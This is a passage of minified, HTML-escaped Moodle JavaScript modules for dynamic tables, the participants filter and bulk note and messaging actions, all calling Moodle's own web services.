refreshContent=!(arguments.length&gt;2&amp;&amp;void 0!==arguments[2])||arguments[2],hiddenColumns=JSON.parse(tableRoot.dataset.tableHiddenColumns);return hiddenColumns=hiddenColumns.filter((columnName=&gt;columnName!==columnToShow)),updateTable(tableRoot,{hiddenColumns:hiddenColumns},refreshContent)};_exports.showColumn=showColumn;_exports.init=()=&gt;{watching||(watching=!0,document.addEventListener(&quot;click&quot;,(e=&gt;{const tableRoot=e.target.closest(Selectors.main.region);if(!tableRoot)return;const sortableLink=e.target.closest(Selectors.table.links.sortableColumn);sortableLink&amp;&amp;(e.preventDefault(),setSortOrder(tableRoot,sortableLink.dataset.sortby,sortableLink.dataset.sortorder).catch(_notification.default.exception));const firstInitialLink=e.target.closest(Selectors.initialsBar.links.firstInitial);null!==firstInitialLink&amp;&amp;(e.preventDefault(),setFirstInitial(tableRoot,firstInitialLink.dataset.initial).catch(_notification.default.exception));const lastInitialLink=e.target.closest(Selectors.initialsBar.links.lastInitial);null!==lastInitialLink&amp;&amp;(e.preventDefault(),setLastInitial(tableRoot,lastInitialLink.dataset.initial).catch(_notification.default.exception));const pageItem=e.target.closest(Selectors.paginationBar.links.pageItem);pageItem&amp;&amp;(e.preventDefault(),setPageNumber(tableRoot,pageItem.dataset.pageNumber).catch(_notification.default.exception));const hide=e.target.closest(Selectors.table.links.hide);hide&amp;&amp;(e.preventDefault(),hideColumn(tableRoot,hide.dataset.column).catch(_notification.default.exception));const show=e.target.closest(Selectors.table.links.show);show&amp;&amp;(e.preventDefault(),showColumn(tableRoot,show.dataset.column).catch(_notification.default.exception));e.target.closest(&quot;.resettable a&quot;)&amp;&amp;(e.preventDefault(),(tableRoot=&gt;refreshTableContent(tableRoot,!0))(tableRoot).catch(_notification.default.exception));const showCountLink=e.target.closest(Selectors.showCount.links.toggle);showCountLink&amp;&amp;(e.preventDefault(),setPageSize(tableRoot,showCountLink.dataset.targetPageSize).catch(_notification.default.exception))})))};const getTableFromId=tableRegionId=&gt;{const tableRoot=document.querySelector(Selectors.main.fromRegionId(tableRegionId));if(!tableRoot)throw new Error(&quot;The table specified is not a dynamic table and cannot be updated&quot;);return tableRoot};_exports.getTableFromId=getTableFromId}));
define(&quot;core_table/local/dynamic/repository&quot;,[&quot;exports&quot;,&quot;core/ajax&quot;],(function(_exports,_ajax){Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.fetch=void 0;_exports.fetch=function(component,handler,uniqueid){let{sortData:sortData=[],joinType:joinType=null,filters:filters={},firstinitial:firstinitial=null,lastinitial:lastinitial=null,pageNumber:pageNumber=null,pageSize:pageSize=null,hiddenColumns:hiddenColumns={}}=arguments.length&gt;3&amp;&amp;void 0!==arguments[3]?arguments[3]:{},resetPreferences=arguments.length&gt;4&amp;&amp;void 0!==arguments[4]&amp;&amp;arguments[4];return(0,_ajax.call)([{methodname:&quot;core_table_get_dynamic_table_content&quot;,args:{component:component,handler:handler,uniqueid:uniqueid,sortdata:sortData,jointype:joinType,filters:filters,firstinitial:firstinitial,lastinitial:lastinitial,pagenumber:pageNumber,pagesize:pageSize,hiddencolumns:hiddenColumns,resetpreferences:resetPreferences}}])[0]}}));
define(&quot;core_table/local/dynamic/selectors&quot;,[&quot;exports&quot;],(function(_exports){Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.default=void 0;return _exports.default={main:{region:&#039;[data-region=&quot;core_table/dynamic&quot;]&#039;,fromRegionId:regionId=&gt;&#039;[data-region=&quot;core_table/dynamic&quot;][data-table-uniqueid=&quot;&#039;.concat(regionId,&#039;&quot;]&#039;)},table:{links:{sortableColumn:&#039;a[data-sortable=&quot;1&quot;]&#039;,hide:&#039;a[data-action=&quot;hide&quot;]&#039;,show:&#039;a[data-action=&quot;show&quot;]&#039;}},initialsBar:{links:{firstInitial:&quot;.firstinitial [data-initial]&quot;,lastInitial:&quot;.lastinitial [data-initial]&quot;}},paginationBar:{links:{pageItem:&quot;.pagination [data-page-number]&quot;}},showCount:{links:{toggle:&#039;[data-action=&quot;showcount&quot;]&#039;}}},_exports.default}));
define(&quot;core_table/local/dynamic/events&quot;,[&quot;exports&quot;],(function(_exports){Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.default=void 0;var eventName,_default={tableContentRefreshed:(eventName=&quot;tableContentRefreshed&quot;,&quot;core_table/dynamic:&quot;.concat(eventName))};return _exports.default=_default,_exports.default}));
define(&quot;core_user/form_user_selector&quot;,[&quot;exports&quot;,&quot;core/ajax&quot;,&quot;core/templates&quot;,&quot;core/str&quot;],(function(_exports,_ajax,_templates,_str){var obj;
/**
   * Provides the required functionality for an autocomplete element to select a user.
   *
   * @module      core_user/form_user_selector
   * @copyright   2020 David Mudrák &lt;david@moodle.com&gt;
   * @license     http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.processResults=function(selector,results){return Array.isArray(results)?results.map((result=&gt;({value:result.id,label:result.label}))):results},_exports.transport=async function(selector,query,callback,failure){const request={methodname:&quot;core_user_search_identity&quot;,args:{query:query}};try{const response=await _ajax.default.call([request])[0];if(response.overflow){const msg=await(0,_str.get_string)(&quot;toomanyuserstoshow&quot;,&quot;core&quot;,&quot;&gt;&quot;+response.maxusersperpage);callback(msg)}else{let labels=[];response.list.forEach((user=&gt;{labels.push((0,_templates.render)(&quot;core_user/form_user_selector_suggestion&quot;,user))})),labels=await Promise.all(labels),response.list.forEach(((user,index)=&gt;{user.label=labels[index]})),callback(response.list)}}catch(e){failure(e)}},_ajax=(obj=_ajax)&amp;&amp;obj.__esModule?obj:{default:obj}}));
define(&quot;core_user/repository&quot;,[&quot;exports&quot;,&quot;core/ajax&quot;],(function(_exports,_ajax){Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.unenrolUser=_exports.submitUserEnrolmentForm=_exports.sendMessagesToUsers=_exports.createNotesForUsers=void 0;_exports.unenrolUser=userEnrolmentId=&gt;(0,_ajax.call)([{methodname:&quot;core_enrol_unenrol_user_enrolment&quot;,args:{ueid:userEnrolmentId}}])[0];_exports.submitUserEnrolmentForm=formdata=&gt;(0,_ajax.call)([{methodname:&quot;core_enrol_submit_user_enrolment_form&quot;,args:{formdata:formdata}}])[0];_exports.createNotesForUsers=notes=&gt;(0,_ajax.call)([{methodname:&quot;core_notes_create_notes&quot;,args:{notes:notes}}])[0];_exports.sendMessagesToUsers=messages=&gt;(0,_ajax.call)([{methodname:&quot;core_message_send_instant_messages&quot;,args:{messages:messages}}])[0]}));
define(&quot;core_user/participantsfilter&quot;,[&quot;exports&quot;,&quot;./local/participantsfilter/filtertypes/courseid&quot;,&quot;core_table/dynamic&quot;,&quot;./local/participantsfilter/filter&quot;,&quot;core/str&quot;,&quot;core/notification&quot;,&quot;core/pending&quot;,&quot;./local/participantsfilter/selectors&quot;,&quot;core/templates&quot;,&quot;core/custom_interaction_events&quot;,&quot;jquery&quot;],(function(_exports,_courseid,DynamicTable,_filter,_str,_notification,_pending,_selectors,_templates,_custom_interaction_events,_jquery){Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.init=void 0,_courseid=_interopRequireDefault(_courseid),DynamicTable=function(obj,nodeInterop){if(!nodeInterop&amp;&amp;obj&amp;&amp;obj.__esModule)return obj;if(null===obj||&quot;object&quot;!=typeof obj&amp;&amp;&quot;function&quot;!=typeof obj)return{default:obj};var cache=_getRequireWildcardCache(nodeInterop);if(cache&amp;&amp;cache.has(obj))return cache.get(obj);var newObj={},hasPropertyDescriptor=Object.defineProperty&amp;&amp;Object.getOwnPropertyDescriptor;for(var key in obj)if(&quot;default&quot;!==key&amp;&amp;Object.prototype.hasOwnProperty.call(obj,key)){var desc=hasPropertyDescriptor?Object.getOwnPropertyDescriptor(obj,key):null;desc&amp;&amp;(desc.get||desc.set)?Object.defineProperty(newObj,key,desc):newObj[key]=obj[key]}newObj.default=obj,cache&amp;&amp;cache.set(obj,newObj);return newObj}(DynamicTable),_filter=_interopRequireDefault(_filter),_notification=_interopRequireDefault(_notification),_pending=_interopRequireDefault(_pending),_selectors=_interopRequireDefault(_selectors),_templates=_interopRequireDefault(_templates),_custom_interaction_events=_interopRequireDefault(_custom_interaction_events),_jquery=_interopRequireDefault(_jquery);var _systemImportTransformerGlobalIdentifier=&quot;undefined&quot;!=typeof window?window:&quot;undefined&quot;!=typeof self?self:&quot;undefined&quot;!=typeof global?global:{};function _getRequireWildcardCache(nodeInterop){if(&quot;function&quot;!=typeof WeakMap)return null;var cacheBabelInterop=new WeakMap,cacheNodeInterop=new WeakMap;return(_getRequireWildcardCache=function(nodeInterop){return nodeInterop?cacheNodeInterop:cacheBabelInterop})(nodeInterop)}function _interopRequireDefault(obj){return obj&amp;&amp;obj.__esModule?obj:{default:obj}}_exports.init=participantsRegionId=&gt;{const filterSet=document.querySelector(&quot;#&quot;.concat(participantsRegionId)),activeFilters={courseid:new _courseid.default(&quot;courseid&quot;,filterSet)},getFilterRegion=()=&gt;filterSet.querySelector(_selectors.default.filterset.regions.filterlist),addFilterRow=()=&gt;{const pendingPromise=new _pending.default(&quot;core_user/participantsfilter:addFilterRow&quot;),rownum=1+getFilterRegion().querySelectorAll(_selectors.default.filter.region).length;return _templates.default.renderForPromise(&quot;core_user/local/participantsfilter/filterrow&quot;,{rownumber:rownum}).then((_ref=&gt;{let{html:html,js:js}=_ref;return _templates.default.appendNodeContents(getFilterRegion(),html,js)})).then((filterRow=&gt;{const typeList=filterSet.querySelector(_selectors.default.data.typeList);return filterRow.forEach((contentNode=&gt;{const contentTypeList=contentNode.querySelector(_selectors.default.filter.fields.type);contentTypeList&amp;&amp;(contentTypeList.innerHTML=typeList.innerHTML)})),filterRow})).then((filterRow=&gt;(updateFiltersOptions(),filterRow))).then((result=&gt;(pendingPromise.resolve(),result))).catch(_notification.default.exception)},addFilter=async(filterRow,filterType,initialFilterValues)=&gt;{filterRow.dataset.filterType=filterType;const filterDataNode=(filterType=&gt;filterSet.querySelector(_selectors.default.filterset.regions.datasource).querySelector(_selectors.default.data.fields.byName(filterType)))(filterType);let Filter=_filter.default;null!=filterDataNode&amp;&amp;filterDataNode.dataset.filterTypeClass&amp;&amp;(Filter=await(&quot;function&quot;==typeof _systemImportTransformerGlobalIdentifier.define&amp;&amp;_systemImportTransformerGlobalIdentifier.define.amd?new Promise((function(resolve,reject){_systemImportTransformerGlobalIdentifier.require([filterDataNode.dataset.filterTypeClass],resolve,reject)})):&quot;undefined&quot;!=typeof module&amp;&amp;module.exports&amp;&amp;&quot;undefined&quot;!=typeof require||&quot;undefined&quot;!=typeof module&amp;&amp;module.component&amp;&amp;_systemImportTransformerGlobalIdentifier.require&amp;&amp;&quot;component&quot;===_systemImportTransformerGlobalIdentifier.require.loader?Promise.resolve(require(filterDataNode.dataset.filterTypeClass)):Promise.resolve(_systemImportTransformerGlobalIdentifier[filterDataNode.dataset.filterTypeClass]))),activeFilters[filterType]=new Filter(filterType,filterSet,initialFilterValues);const typeField=filterRow.querySelector(_selectors.default.filter.fields.type);return typeField.value=filterType,typeField.disabled=&quot;disabled&quot;,updateFiltersOptions(),activeFilters[filterType]},removeOrReplaceFilterRow=(filterRow,refreshContent)=&gt;{1===getFilterRegion().querySelectorAll(_selectors.default.filter.region).length?replaceFilterRow(filterRow,refreshContent):removeFilterRow(filterRow,refreshContent)},removeFilterRow=async function(filterRow){let refreshContent=!(arguments.length&gt;1&amp;&amp;void 0!==arguments[1])||arguments[1];const filterType=filterRow.querySelector(_selectors.default.filter.fields.type),hasFilterValue=!!filterType.value;removeFilterObject(filterRow.dataset.filterType),filterRow.remove(),updateFiltersOptions(),hasFilterValue&amp;&amp;refreshContent&amp;&amp;updateTableFromFilter();const filterLegends=await getAvailableFilterLegends();getFilterRegion().querySelectorAll(_selectors.default.filter.region).forEach(((filterRow,index)=&gt;{filterRow.querySelector(&quot;legend&quot;).innerText=filterLegends[index]}))},replaceFilterRow=function(filterRow){let refreshContent=!(arguments.length&gt;1&amp;&amp;void 0!==arguments[1])||arguments[1],rowNum=arguments.length&gt;2&amp;&amp;void 0!==arguments[2]?arguments[2]:1;return removeFilterObject(filterRow.dataset.filterType),_templates.default.renderForPromise(&quot;core_user/local/participantsfilter/filterrow&quot;,{rownumber:rowNum}).then((_ref2=&gt;{let{html:html,js:js}=_ref2;return _templates.default.replaceNode(filterRow,html,js)})).then((filterRow=&gt;{const typeList=filterSet.querySelector(_selectors.default.data.typeList);return filterRow.forEach((contentNode=&gt;{const contentTypeList=contentNode.querySelector(_selectors.default.filter.fields.type);contentTypeList&amp;&amp;(contentTypeList.innerHTML=typeList.innerHTML)})),filterRow})).then((filterRow=&gt;(updateFiltersOptions(),filterRow))).then((filterRow=&gt;refreshContent?updateTableFromFilter():filterRow)).catch(_notification.default.exception)},removeFilterObject=filterName=&gt;{if(filterName){const filter=activeFilters[filterName];filter&amp;&amp;(filter.tearDown(),delete activeFilters[filterName])}},updateFiltersOptions=()=&gt;{const filters=getFilterRegion().querySelectorAll(_selectors.default.filter.region);filters.forEach((filterRow=&gt;{filterRow.querySelectorAll(_selectors.default.filter.fields.type+&quot; option&quot;).forEach((option=&gt;{option.value===filterRow.dataset.filterType?(option.classList.remove(&quot;hidden&quot;),option.disabled=!1):activeFilters[option.value]?(option.classList.add(&quot;hidden&quot;),option.disabled=!0):(option.classList.remove(&quot;hidden&quot;),option.disabled=!1)}))}));const addRowButton=filterSet.querySelector(_selectors.default.filterset.actions.addRow);filterSet.querySelectorAll(_selectors.default.data.fields.all).length&lt;=filters.length?addRowButton.setAttribute(&quot;disabled&quot;,&quot;disabled&quot;):addRowButton.removeAttribute(&quot;disabled&quot;),1===filters.length?(filterSet.querySelector(_selectors.default.filterset.regions.filtermatch).classList.add(&quot;hidden&quot;),filterSet.querySelector(_selectors.default.filterset.fields.join).value=2,filterSet.dataset.filterverb=2):filterSet.querySelector(_selectors.default.filterset.regions.filtermatch).classList.remove(&quot;hidden&quot;)},setFilterFromConfig=config=&gt;{const filterConfig=Object.entries(config.filters);if(!filterConfig.length)return Promise.resolve();filterSet.querySelector(_selectors.default.filterset.fields.join).value=config.jointype;const filterPromises=filterConfig.map((_ref3=&gt;{let[filterType,filterData]=_ref3;if(&quot;courseid&quot;===filterType)return!1;const filterValues=filterData.values;return!!filterValues.length&amp;&amp;addFilterRow().then((_ref4=&gt;{let[filterRow]=_ref4;return addFilter(filterRow,filterType,filterValues)}))})).filter((promise=&gt;promise));return filterPromises.length?Promise.all(filterPromises).then((()=&gt;{getFilterRegion().querySelectorAll(_selectors.default.filter.region).forEach((filterRow=&gt;{filterRow.querySelector(_selectors.default.filter.fields.type).value||removeOrReplaceFilterRow(filterRow,!1)}))})).then(updateFiltersOptions).then(updateTableFromFilter):Promise.resolve()},updateTableFromFilter=()=&gt;{const pendingPromise=new _pending.default(&quot;core_user/participantsfilter:updateTableFromFilter&quot;),filters={};return Object.values(activeFilters).forEach((filter=&gt;{filters[filter.filterValue.name]=filter.filterValue})),DynamicTable.setFilters(DynamicTable.getTableFromId(filterSet.dataset.tableRegion),{jointype:parseInt(filterSet.querySelector(_selectors.default.filterset.fields.join).value,10),filters:filters}).then((result=&gt;(pendingPromise.resolve(),result))).catch(_notification.default.exception)},getAvailableFilterLegends=async()=&gt;{const maxFilters=document.querySelector(_selectors.default.data.typeListSelect).length-1;let requests=[];[...Array(maxFilters)].forEach(((_,rowIndex)=&gt;{requests.push({key:&quot;filterrowlegend&quot;,component:&quot;core_user&quot;,param:rowIndex+1})}));return await(0,_str.get_strings)(requests).then((fetchedStrings=&gt;fetchedStrings)).catch(_notification.default.exception)};filterSet.querySelector(_selectors.default.filterset.region).addEventListener(&quot;click&quot;,(e=&gt;{e.target.closest(_selectors.default.filterset.actions.addRow)&amp;&amp;(e.preventDefault(),addFilterRow()),e.target.closest(_selectors.default.filterset.actions.applyFilters)&amp;&amp;(e.preventDefault(),updateTableFromFilter()),e.target.closest(_selectors.default.filterset.actions.resetFilters)&amp;&amp;(e.preventDefault(),(()=&gt;{const pendingPromise=new _pending.default(&quot;core_user/participantsfilter:setFilterFromConfig&quot;);getFilterRegion().querySelectorAll(_selectors.default.filter.region).forEach((filterRow=&gt;removeOrReplaceFilterRow(filterRow,!1))),updateTableFromFilter().then((result=&gt;(pendingPromise.resolve(),result)))})())})),filterSet.querySelector(_selectors.default.filterset.regions.filterlist).addEventListener(&quot;click&quot;,(e=&gt;{e.target.closest(_selectors.default.filter.actions.remove)&amp;&amp;(e.preventDefault(),removeOrReplaceFilterRow(e.target.closest(_selectors.default.filter.region),!0))}));let filterRegion=(0,_jquery.default)(getFilterRegion());_custom_interaction_events.default.define(filterRegion,[_custom_interaction_events.default.events.accessibleChange]),filterRegion.on(_custom_interaction_events.default.events.accessibleChange,(e=&gt;{const typeField=e.target.closest(_selectors.default.filter.fields.type);if(typeField&amp;&amp;typeField.value){const filter=e.target.closest(_selectors.default.filter.region);addFilter(filter,typeField.value)}})),filterSet.querySelector(_selectors.default.filterset.fields.join).addEventListener(&quot;change&quot;,(e=&gt;{filterSet.dataset.filterverb=e.target.value}));const tableRoot=DynamicTable.getTableFromId(filterSet.dataset.tableRegion),initialFilters=DynamicTable.getFilters(tableRoot);if(initialFilters){const initialFilterPromise=new _pending.default(&quot;core_user/participantsfilter:setFilterFromConfig&quot;);setFilterFromConfig(initialFilters).then((()=&gt;initialFilterPromise.resolve())).catch()}}}));
define(&quot;core_user/local/participantsfilter/selectors&quot;,[&quot;exports&quot;],(function(_exports){Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.default=void 0;
/**
   * Module containing the selectors for user filters.
   *
   * @module     core_user/local/user_filter/selectors
   * @copyright  2020 Michael Hawkins &lt;michaelh@moodle.com&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */
const getFilterRegion=region=&gt;&#039;[data-filterregion=&quot;&#039;.concat(region,&#039;&quot;]&#039;),getFilterAction=action=&gt;&#039;[data-filteraction=&quot;&#039;.concat(action,&#039;&quot;]&#039;),getFilterField=field=&gt;&#039;[data-filterfield=&quot;&#039;.concat(field,&#039;&quot;]&#039;);var _default={filter:{region:getFilterRegion(&quot;filter&quot;),actions:{remove:getFilterAction(&quot;remove&quot;)},fields:{join:getFilterField(&quot;join&quot;),type:getFilterField(&quot;type&quot;)},regions:{values:getFilterRegion(&quot;value&quot;)},byName:name=&gt;&quot;&quot;.concat(getFilterRegion(&quot;filter&quot;),&#039;[data-filter-type=&quot;&#039;).concat(name,&#039;&quot;]&#039;)},filterset:{region:getFilterRegion(&quot;actions&quot;),actions:{addRow:getFilterAction(&quot;add&quot;),applyFilters:getFilterAction(&quot;apply&quot;),resetFilters:getFilterAction(&quot;reset&quot;)},regions:{filtermatch:getFilterRegion(&quot;filtermatch&quot;),filterlist:getFilterRegion(&quot;filters&quot;),datasource:getFilterRegion(&quot;filtertypedata&quot;)},fields:{join:&quot;&quot;.concat(getFilterRegion(&quot;filtermatch&quot;),&quot; &quot;).concat(getFilterField(&quot;join&quot;))}},data:{fields:{byName:name=&gt;&#039;[data-field-name=&quot;&#039;.concat(name,&#039;&quot;]&#039;),all:&quot;&quot;.concat(getFilterRegion(&quot;filtertypedata&quot;),&quot; [data-field-name]&quot;)},typeList:getFilterRegion(&quot;filtertypelist&quot;),typeListSelect:&quot;select&quot;.concat(getFilterRegion(&quot;filtertypelist&quot;))}};return _exports.default=_default,_exports.default}));
define(&quot;core_user/local/participantsfilter/filter&quot;,[&quot;exports&quot;,&quot;core/form-autocomplete&quot;,&quot;./selectors&quot;,&quot;core/str&quot;],(function(_exports,_formAutocomplete,_selectors,_str){function _interopRequireDefault(obj){return obj&amp;&amp;obj.__esModule?obj:{default:obj}}
/**
   * Base Filter class for a filter type in the participants filter UI.
   *
   * @module     core_user/local/participantsfilter/filter
   * @copyright  2020 Andrew Nicols &lt;andrew@nicols.co.uk&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.default=void 0,_formAutocomplete=_interopRequireDefault(_formAutocomplete),_selectors=_interopRequireDefault(_selectors);return _exports.default=class{constructor(filterType,rootNode,initialValues){this.filterType=filterType,this.rootNode=rootNode,this.addValueSelector(initialValues)}tearDown(){}get placeholder(){return(0,_str.get_string)(&quot;placeholdertypeorselect&quot;,&quot;core_user&quot;)}get showSuggestions(){return!0}async addValueSelector(){let initialValues=arguments.length&gt;0&amp;&amp;void 0!==arguments[0]?arguments[0]:[];const filterValueNode=this.getFilterValueNode(),sourceDataNode=this.getSourceDataForFilter();if(!sourceDataNode)return;filterValueNode.innerHTML=sourceDataNode.outerHTML;const dataSource=filterValueNode.querySelector(&quot;select&quot;);dataSource.id=&quot;filter-value-&quot;+dataSource.getAttribute(&quot;data-field-name&quot;);const filterValueLabel=document.createElement(&quot;label&quot;);filterValueLabel.setAttribute(&quot;for&quot;,dataSource.id),filterValueLabel.classList.add(&quot;sr-only&quot;),filterValueLabel.innerText=dataSource.getAttribute(&quot;data-field-title&quot;),filterValueNode.appendChild(filterValueLabel),initialValues.forEach((filterValue=&gt;{let selectedOption=dataSource.querySelector(&#039;option[value=&quot;&#039;.concat(filterValue,&#039;&quot;]&#039;));selectedOption?selectedOption.selected=!0:this.showSuggestions||(selectedOption=document.createElement(&quot;option&quot;),selectedOption.value=filterValue,selectedOption.innerHTML=filterValue,selectedOption.selected=!0,dataSource.append(selectedOption))})),_formAutocomplete.default.enhance(dataSource,&quot;1&quot;==dataSource.dataset.allowCustom,null,await this.placeholder,!1,this.showSuggestions,null,!dataSource.multiple,{items:&quot;core_user/local/participantsfilter/autocomplete_selection_items&quot;,layout:&quot;core_user/local/participantsfilter/autocomplete_layout&quot;,selection:&quot;core_user/local/participantsfilter/autocomplete_selection&quot;})}get filterRoot(){return this.rootNode.querySelector(_selectors.default.filter.byName(this.filterType))}getSourceDataForFilter(){return this.rootNode.querySelector(_selectors.default.filterset.regions.datasource).querySelector(_selectors.default.data.fields.byName(this.filterType))}getFilterValueNode(){return this.filterRoot.querySelector(_selectors.default.filter.regions.values)}get name(){return this.filterType}get jointype(){return parseInt(this.filterRoot.querySelector(_selectors.default.filter.fields.join).value,10)}get rawValues(){const filterValueSelect=this.getFilterValueNode().querySelector(&quot;select&quot;);return Object.values((select=filterValueSelect,select.querySelectorAll(&quot;:checked&quot;))).map((option=&gt;option.value));var select}get values(){return this.rawValues.map((option=&gt;parseInt(option,10)))}get filterValue(){return{name:this.name,jointype:this.jointype,values:this.values}}},_exports.default}));
define(&quot;core_user/local/participantsfilter/filtertypes/country&quot;,[&quot;exports&quot;,&quot;../filter&quot;],(function(_exports,_filter){var obj;
/**
   * Country filter
   *
   * @module      core_user/local/participantsfilter/filtertypes/country
   * @copyright   2021 Paul Holden &lt;paulh@moodle.com&gt;
   * @license     http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.default=void 0,_filter=(obj=_filter)&amp;&amp;obj.__esModule?obj:{default:obj};class _default extends _filter.default{get values(){return this.rawValues}}return _exports.default=_default,_exports.default}));
define(&quot;core_user/local/participantsfilter/filtertypes/keyword&quot;,[&quot;exports&quot;,&quot;../filter&quot;,&quot;core/str&quot;],(function(_exports,_filter,_str){var obj;
/**
   * Keyword filter.
   *
   * @module     core_user/local/participantsfilter/filtertypes/keyword
   * @copyright  2020 Andrew Nicols &lt;andrew@nicols.co.uk&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.default=void 0,_filter=(obj=_filter)&amp;&amp;obj.__esModule?obj:{default:obj};class _default extends _filter.default{get values(){return this.rawValues}get placeholder(){return(0,_str.get_string)(&quot;placeholdertype&quot;,&quot;core_user&quot;)}get showSuggestions(){return!1}}return _exports.default=_default,_exports.default}));
define(&quot;core_user/local/participantsfilter/filtertypes/courseid&quot;,[&quot;exports&quot;,&quot;../filter&quot;],(function(_exports,_filter){var obj;
/**
   * Course ID filter.
   *
   * @module     core_user/local/participantsfilter/filtertypes/courseid
   * @copyright  2020 Andrew Nicols &lt;andrew@nicols.co.uk&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.default=void 0,_filter=(obj=_filter)&amp;&amp;obj.__esModule?obj:{default:obj};class _default extends _filter.default{constructor(filterType,filterSet){super(filterType,filterSet)}async addValueSelector(){}get filterValue(){return{name:this.name,jointype:1,values:[parseInt(this.rootNode.dataset.tableCourseId,10)]}}}return _exports.default=_default,_exports.default}));
define(&quot;core_user/local/participants/bulkactions&quot;,[&quot;exports&quot;,&quot;core_user/repository&quot;,&quot;core/str&quot;,&quot;core/modal_events&quot;,&quot;core/modal_factory&quot;,&quot;core/notification&quot;,&quot;core/templates&quot;,&quot;core/toast&quot;],(function(_exports,Repository,Str,_modal_events,_modal_factory,_notification,_templates,_toast){function _interopRequireDefault(obj){return obj&amp;&amp;obj.__esModule?obj:{default:obj}}function _getRequireWildcardCache(nodeInterop){if(&quot;function&quot;!=typeof WeakMap)return null;var cacheBabelInterop=new WeakMap,cacheNodeInterop=new WeakMap;return(_getRequireWildcardCache=function(nodeInterop){return nodeInterop?cacheNodeInterop:cacheBabelInterop})(nodeInterop)}function _interopRequireWildcard(obj,nodeInterop){if(!nodeInterop&amp;&amp;obj&amp;&amp;obj.__esModule)return obj;if(null===obj||&quot;object&quot;!=typeof obj&amp;&amp;&quot;function&quot;!=typeof obj)return{default:obj};var cache=_getRequireWildcardCache(nodeInterop);if(cache&amp;&amp;cache.has(obj))return cache.get(obj);var newObj={},hasPropertyDescriptor=Object.defineProperty&amp;&amp;Object.getOwnPropertyDescriptor;for(var key in obj)if(&quot;default&quot;!==key&amp;&amp;Object.prototype.hasOwnProperty.call(obj,key)){var desc=hasPropertyDescriptor?Object.getOwnPropertyDescriptor(obj,key):null;desc&amp;&amp;(desc.get||desc.set)?Object.defineProperty(newObj,key,desc):newObj[key]=obj[key]}return newObj.default=obj,cache&amp;&amp;cache.set(obj,newObj),newObj}
/**
   * Bulk actions for lists of participants.
   *
   * @module     core_user/local/participants/bulkactions
   * @copyright  2020 Andrew Nicols &lt;andrew@nicols.co.uk&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.showSendMessage=_exports.showAddNote=void 0,Repository=_interopRequireWildcard(Repository),Str=_interopRequireWildcard(Str),_modal_events=_interopRequireDefault(_modal_events),_modal_factory=_interopRequireDefault(_modal_factory),_notification=_interopRequireDefault(_notification),_templates=_interopRequireDefault(_templates);_exports.showAddNote=(courseid,users,noteStateNames,stateHelpIcon)=&gt;{if(!users.length)return Promise.resolve();const states=[];for(let key in noteStateNames)switch(key){case&quot;draft&quot;:states.push({value:&quot;personal&quot;,label:noteStateNames[key]});break;case&quot;public&quot;:states.push({value:&quot;course&quot;,label:noteStateNames[key],selected:1});break;case&quot;site&quot;:states.push({value:key,label:noteStateNames[key]})}const context={stateNames:states,stateHelpIcon:stateHelpIcon.innerHTML};let titlePromise=null;return titlePromise=1===users.length?Str.get_string(&quot;addbulknotesingle&quot;,&quot;core_notes&quot;):Str.get_string(&quot;addbulknote&quot;,&quot;core_notes&quot;,users.length),_modal_factory.default.create({type:_modal_factory.default.types.SAVE_CANCEL,body:_templates.default.render(&quot;core_user/add_bulk_note&quot;,context),title:titlePromise,buttons:{save:titlePromise},removeOnClose:!0}).then((modal=&gt;(modal.getRoot().on(_modal_events.default.save,(()=&gt;submitAddNote(courseid,users,modal))),modal.show(),modal)))};const submitAddNote=(courseid,users,modal)=&gt;{const text=modal.getRoot().find(&quot;form textarea&quot;).val(),publishstate=modal.getRoot().find(&quot;form select&quot;).val(),notes=users.map((userid=&gt;({userid:userid,text:text,courseid:courseid,publishstate:publishstate})));return Repository.createNotesForUsers(notes).then((noteIds=&gt;1===noteIds.length?Str.get_string(&quot;addbulknotedonesingle&quot;,&quot;core_notes&quot;):Str.get_string(&quot;addbulknotedone&quot;,&quot;core_notes&quot;,noteIds.length))).then((msg=&gt;(0,_toast.add)(msg))).catch(_notification.default.exception)};_exports.showSendMessage=users=&gt;{if(!users.length)return Promise.resolve();let titlePromise;return titlePromise=1===users.length?Str.get_string(&quot;sendbulkmessagesingle&quot;,&quot;core_message&quot;):Str.get_string(&quot;sendbulkmessage&quot;,&quot;core_message&quot;,users.length),_modal_factory.default.create({type:_modal_factory.default.types.SAVE_CANCEL,body:_templates.default.render(&quot;core_user/send_bulk_message&quot;,{}),title:titlePromise,buttons:{save:titlePromise},removeOnClose:!0}).then((modal=&gt;(modal.getRoot().on(_modal_events.default.save,(e=&gt;{const text=modal.getRoot().find(&quot;form textarea&quot;).val();if(&quot;&quot;===text.trim())return modal.getRoot().find(&#039;[data-role=&quot;messagetextrequired&quot;]&#039;).removeAttr(&quot;hidden&quot;),void e.preventDefault();submitSendMessage(modal,users,text)})),modal.show(),modal)))};const submitSendMessage=(modal,users,text)=&gt;{const messages=users.map((touserid=&gt;({touserid:touserid,text:text})));return Repository.sendMessagesToUsers(messages).then((messageIds=&gt;1==messageIds.length?Str.get_string(&quot;sendbulkmessagesentsingle&quot;,&quot;core_message&quot;):Str.get_string(&quot;sendbulkmessagesent&quot;,&quot;core_message&quot;,messageIds.length))).then((msg=&gt;(0,_toast.add)(msg))).catch(_notification.default.exception)}}));
/**
